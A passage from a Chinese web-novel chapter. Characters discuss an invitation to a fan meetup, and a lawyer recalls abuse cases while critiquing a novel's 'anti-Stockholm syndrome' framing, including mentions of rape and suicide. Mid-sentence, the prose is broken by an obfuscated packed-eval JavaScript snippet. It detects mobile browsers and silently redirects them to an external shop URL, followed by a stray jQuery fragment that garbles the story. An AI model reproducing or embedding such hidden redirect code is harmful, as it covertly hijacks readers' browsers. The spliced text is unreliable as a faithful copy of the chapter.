現在科技雖然挺發達的，用智能驗孕棒測懷孕幾率能夠到達100%，可是也不至於用這東西掃一下就行。
慕秉持：“我讓人給你送驗孕棒過來，你自己驗一驗。我們先走了，等事情調查清楚，危險排除，你就可以離開。”
說完，他拉著紀遇離開。
劉青青無力地坐在床上抹著眼淚。
怎麼會這樣？
她莫名其妙被她筆下的紙片人追殺，同一時間老公出軌了，她又懷孕了。
這叫什麼事兒？
她到底做錯什麼，會遇到這種事？
劉青青越想越委屈，倒在床上痛哭了起來。
＊
紀遇和慕秉持回來之後，慕雲霓衝上去，“哥，找到趙川他們了，他們倆迷路了，把車開到了隔壁市，現在人已經找到了，在回來的路上。”
紀遇：“沒事就好，應該是那場大霧的影響。”
“對了。”慕雲霓說：“我們收到了幾張邀請函，邀請我們去參加獵物不乖的書友聚會。”
紀遇：“邀請函？”
慕雲霓從抽屜裡拿出邀請函，遞給了她一張。
上麵寫著：尊敬的讀者您好，當您收到這封郵件時，我們誠摯地邀請您參加即將舉行的《獵物不乖》書友會，我們支持不同意見交流。
此次書友會將於[2023年7月18日上午10點]在[濱城天沙區明光湖畔度假村舉行]隆重舉辦。
在這次書友會上，您將有機會與其他書迷交流心得，我們相信，這將是一次難忘的體驗，也希望能與您共度美好時光。
請在[2023年7月18]前，掃碼邀請函二維碼，以確認您的出席，並提供您的行程安排和聯係方式，以便我們為您安排路費報銷以及免費午餐事宜。
眾人麵麵相覷。
慕秉持：“這邀請函來的古怪，我覺得我們應該去參加。”
紀遇：“我也是這麼想的。”
＊
夜裡。
紀遇看到李求真坐在花園的秋千上抽煙，她走過去，坐在她身邊，“你怎麼了？心情不好嗎？”
李求真將煙盒遞給她，“來一根？”
紀遇搖頭，“我不抽煙。”
李求真笑了笑，“我也是偶爾抽兩根。”
“求真，發生什麼事了？”
“你真的要救劉青青嗎？”
紀遇點頭，“嗯，怎麼了？”
“劉青青讓我想到了我之前代理的兩個案子。”
“什麼案子？”
李求真：“一個高中女孩，喜歡上一個壞男孩，未婚先孕，沒按照她父母的要求去生活，她父母打斷她的腿，把她囚禁在了豬圈裡好幾年，後來那個女孩在同學的幫助下逃出來，把他的父母告上法庭。”
紀遇聽到這個，產生了一股不適感，“然後呢？”
“然後父母理直氣壯地說，全都是她早戀，是她自己的問題，是那個男人害了她，他們做父母的隻是為她好，是為了告訴她什麼叫道德，什麼叫禮義廉恥。”
紀遇皺眉：“真是荒謬，是他們沒有教育好孩子正確的性觀念，也沒有在孩子出事之後正確處理。”
“現實就是這麼荒謬，哪怕她的父母把她趕出家門，以後永遠不再見她，我都能理解，但偏偏要用最殘忍的手段，以道德的名義淩虐他們的女兒，這真的是道德嗎？不過是從他們自己的自私和歹毒罷了。”
紀遇問：“那個女孩怎麼樣了？”
“雖然告贏了，她父母被判了兩年。可女孩後來還是自殺了，可是直到她死了，她父母依然把這件事怪在女孩自己身上，怪在那個男孩身上，他們不認為自己有問題，他們覺得自己捍衛了禮儀廉恥和道德。”
“那個男孩呢？”
“那個男孩根本就不知道女孩懷孕的事，他曾經多次到女孩家裡找女孩，卻被他的父母打出去，直到女孩死了，他才知道這件事。”
紀遇歎了口氣：“那還有一個案子呢？”
李求真說：“她是20歲的同性戀，和女朋友同居，她父母認為她有精神病，把她關在精神病院治療，可是沒有治好，後來就找男的把她強·奸了，隻是為了讓她知道什麼叫正常，什麼叫正確的三觀。直到站在法庭上，他們也不認為自己錯了，他們認為自己捍衛了正常的社會秩序，捍衛正確的價值觀，錯的是他們的女兒，是那個帶壞他們女兒的壞人。”
紀遇：“……”
她也知道人類會發生許多肮臟的事情，她有時候也會懷疑他們值不值得被幫助，每次聽到這些，她會覺得心寒。
她甚至想過，如果遇到這種人，她會不會救？
“即便這種情況，還有很多人認為父母的出發點是好的，並且支持這種父母。”李求真將煙頭按滅在煙灰缸裡，“案子裡的這兩對父母，是不是跟劉青青的邏輯很像。”
紀遇問：“什麼邏輯？”
“受害者有罪論、教訓、不尊重、通過極端教訓的手段，來達到他們認知裡的正義，滿足自己的道德感，並且獲得許多支持。”
紀遇大概明白她的意思，“可是劉青青寫的是虛構的小說，不能跟現實混為一談，我們對文學創作應該更包容，避免用現實中的法律約束虛擬人物，你也說了不能審判文學作品三觀。”
“是的。”李求真表示讚同，“可問題是，劉青青不包容，她把小說跟現實混為一談，打著女性的旗號審判彆人，標榜自己三觀正，又怎麼能要求彆人不把她的書跟現實混為一談？”
紀遇似乎找不到話來反駁。
李求真：“我看過一篇文章，當時沒太在意，現在才發現，那篇文章比任何人都要早發現問題。可惜被舉報下架了。”
紀遇：“什麼文章？”
李求真拿出手機翻找了會兒
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12842328|130919||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
，找到了一些網友的截圖，將手機遞給紀遇。
紀遇看到文章標題為：《反斯德哥爾摩綜合征，是以正義之名對受害者進行的核彈級迫害，輻射正在迅速擴散》
她迅速將文章瀏覽了一遍。
等到紀遇看完，李求真開口：“社會對女性議題比較敏感，舉著女性大旗容易有熱度，對女性重視這很好，但不是所有人都真的關心女性，大多人隻想利用女性議題賺錢而已，最後不但對女性沒有任何幫助，反而造成負麵效果，他們賺完錢拍拍屁股就走了，倒黴的還是女人。”
“從獵物造成的效果來看，這分明就是生意，導致一群人對另一群他們沒見過的女作者和女讀者愛看什麼小說、嗑什麼cp進行審判，言語之間儘是羞辱之詞，什麼犯賤、下賤胚子、不要臉、三觀不正戀愛腦、智障，sb、應該遇到同款犯罪分子。真是觸目驚心，到底是誰分不清小說和現實？互聯網放大了人性的惡意和偏見。那些高高在上分析斯德哥爾摩綜合征，並且吹捧獵物不乖的營銷號，都在助長這種風氣。”
李求真從秋千上站起身，望著天空，“可笑的是，獵物打著各種正義和反的旗號，卻淡化受害者的痛苦，隻關注於加害者的塑造，將受害者作為罪犯成長的墊腳石，著重描寫罪犯的深情和立體感，最後成就了男主，女主還給他生孩子。”
紀遇：“你是不能接受獵物不乖這種作品嗎？”
李求真回答：“不是不能，關於女主角受害的犯罪作品有非常多，但是作者通過淩虐女主，隻為了標榜自己反斯德哥爾摩，通過男主角讓彆人輪·奸女主角來達到“不愛男主”的目的，隻為諷刺彆人，諷刺虛構的小說，獲取所謂道德上的正義，那這種寫作目的，本身就喪失了正義性，不但對現實中的受害者沒有任何幫助，反而是二次傷害，更是受害者有罪論，在誤導讀者加深對那些受害者的誤解和嘲笑，把她們當成下賤。”
“她通過將罪犯男主角描繪成深情和無敵的形象，美化他，導致讓大量讀者愛上他，淡化女主痛苦，強化男主的深情，惡劣的地方在於，這種標榜“反斯德哥爾摩綜合征”的書，在宣揚道德優越論，反複強調“受害者不愛施害者”作為道德高地，是在嚴重誤導和侮辱受害者的心理痛苦，是對斯德哥爾摩綜合征一種嚴重的歪曲和誤解。反斯德哥爾摩，甚至與犯賤畫等號，這種說法，本身就是站在一種道德的製高點的炫耀，這是一種受害者有罪論。是在以更殘忍的方式教訓受害者，來達到諷刺的目的。”
紀遇：“你的意思是，某些作品，將反斯德哥爾摩當做噱頭，通過極端暴力情節，來強調受害者不愛施害者作為道德製高點，用來嘲諷斯德哥爾摩綜合征，本身隱含一種對受害者的責備，並借此宣揚道德優越感，導致受害者有罪論。所以他們的創作初衷並不是為了正義，隻是為了道德審判。”
李求真：“沒錯，道德審判從來不是利人，而是利己。這本書不光是道德審判，還有投機取巧的利益。以反斯德哥爾摩為名，描寫性暴力、強迫和虐待行為，卻把暴力香豔化，側重罪犯的深情和立體感。一邊標榜正義，反對嗑cp，一邊迎合讀者偏好，繼續寫姊妹篇，進一步強化這對CP。這種作品不僅沒有意義，反而誤導了許多人，對斯德哥爾摩綜合征產生錯誤認知，導致嚴重的網絡暴力和對立。這種作品隻是借題發揮，本質上還是在描寫男女主角的虐戀，著重於性張力和帶感，反而讓反派男主的粉絲更多。”
“這種書的內核就是瑪麗蘇，女主不愛男主隻是精神勝利法，女主受到的所有傷害，那股淒美的破碎感，成就了男主的邪惡性張力和二人的帶感cp，這分明就是作者的癖好，要不然不會造成這種結果，骨子裡就是虐戀文學。”
“你反感虐戀文學存在嗎？”紀遇問。
“相比獵物這種以正義的名義，實則夾帶私貨的作品，那些直接表明是虐文並且不打著正義旗號的三觀不正的作品，我沒那麼反感，畢竟每個人看書的喜好不同，對讀者來說，虐文是一種情感釋放的途徑，他們在虛擬的世界裡體驗各種情緒，但不代表現實中支持這種行為，非得上綱上線，審判三觀，世界名著都經不起審判。”
“我所反感的是，獵物這種書，塑造英俊罪犯和美女受害者的帶感cp，虐戀情深，還非得標榜自己，虛假營銷，煽動對立，誤導讀者。你覺光明正大賣煙惡劣，還是糖果裡麵偷偷夾著尼古丁更惡劣？”
紀遇說：“當然是糖果裡偷偷夾著尼古丁更惡劣。”
“我就是這個意思，賣煙可以，但把煙夾到糖果裡麵，還說是用來諷刺煙草，能讓你戒煙，那就是詐騙。”
李求真笑了，“哪個絕世天才，給這本書想了反斯德哥爾摩綜合征的營銷，獵物這種寫法根本就是笑話。”
“事實上，根本就沒有所謂的反斯德哥爾摩作品，那些呈現女性受害的作品，不會吹噓反斯德哥爾摩，她們是受害者，就算不同情不幫助，也不至於高高在上地反她們，侮辱她們。用淩虐女人的方式，讓女人不愛，來諷刺另一批女人，這不還是挑著女人欺負。”
“現在某些標榜反的作品，女主不愛邪惡英俊、深情多金、器大活好的男主就是反。作者對斯德哥爾摩綜合征的理解就是一個名詞，可就是有很多人信，最後要麼心疼男主，要麼對斯德哥爾摩產生誤解，去侮辱彆人，更多的人兩者都有。”
“所謂的正義、反斯德哥爾摩，不過是一場拙劣又廉價的道德表演。作者知道將矛頭對準誰最安全，站在道德的高地，體驗殺伐的快感，收獲激進言論帶來的利益，還能規避寫作風險，這並不是在伸張正義，隻是在利用政治正確收割流量，要不然就不會一邊辱罵cp粉，轉頭就專門為風雅cp寫姊妹篇。可以說這些人精明，但非說他們正義，那我隻能說相信的人太傻太天真。”
紀遇沉默。
李求真從這個角度看待問題，似乎也有她的道理。
表麵上的正義並不一定真的是正義，但很多人往往會被表麵的正義所迷惑，忽略了核心。
李求真又說：“劉青青有權利厭惡彆人，可彆人也有權利厭惡她。她的寫法本身沒什麼可指摘的，但問題的關鍵在於，當讀者因為她筆下的側重點在於塑造帶感cp和性張力對手戲，而嗑cp時，劉青青還挺開心，可後來書被營銷火了，影響大了，她就甩鍋，先是貶低彆的小說，煽動情緒，然後一巴掌打在讀者臉上，罵他們，煽動對立。這不就像標榜自己是健康的食品，結果在裡麵夾了尼古丁，消費者上癮之後，她怕擔責任就撇清關係，在那裡諷刺消費者。這種情況下，我很難同情劉青青被她的男女主角或者狂熱書粉追殺這件事。”
紀遇之前沒有從這個角度思考過，她隻是覺得這就是一本狗血霸總文，沒必要拔高，也沒必要貶低。
聽了李求真的話，仿佛在聽一個酣暢淋漓的辯論。
雖然她不一定每一次都讚同李求真的話，但是每一次她似乎都說的有理有據。
紀遇坐在秋千上，輕輕蕩了蕩，“其實你可以不用去參加那場書友會，劉青青的事你就不用管了，很抱歉我把你找來了。”
因為李求真是她的好搭檔，有什麼事她會想到她。
李求真笑了笑，轉過頭，“這件事我還是會幫你的，就算我幫不了多少忙，我也會陪在你身邊。”
紀遇問：“為什麼？”
“為了你。隻要你想幫的人，就算我再討厭，我也會幫，因為我知道你不僅僅在幫一個人。所以我會拋開我個人的善惡和喜好。就像我作為一個律師，我可以竭儘全力為罪犯辯護，因為我捍衛的不是罪犯，而是司法精神，還有那些很可能被冤枉的人。”
紀遇從秋千上起身到她身邊，雙手抱住了她，靠在她的肩上。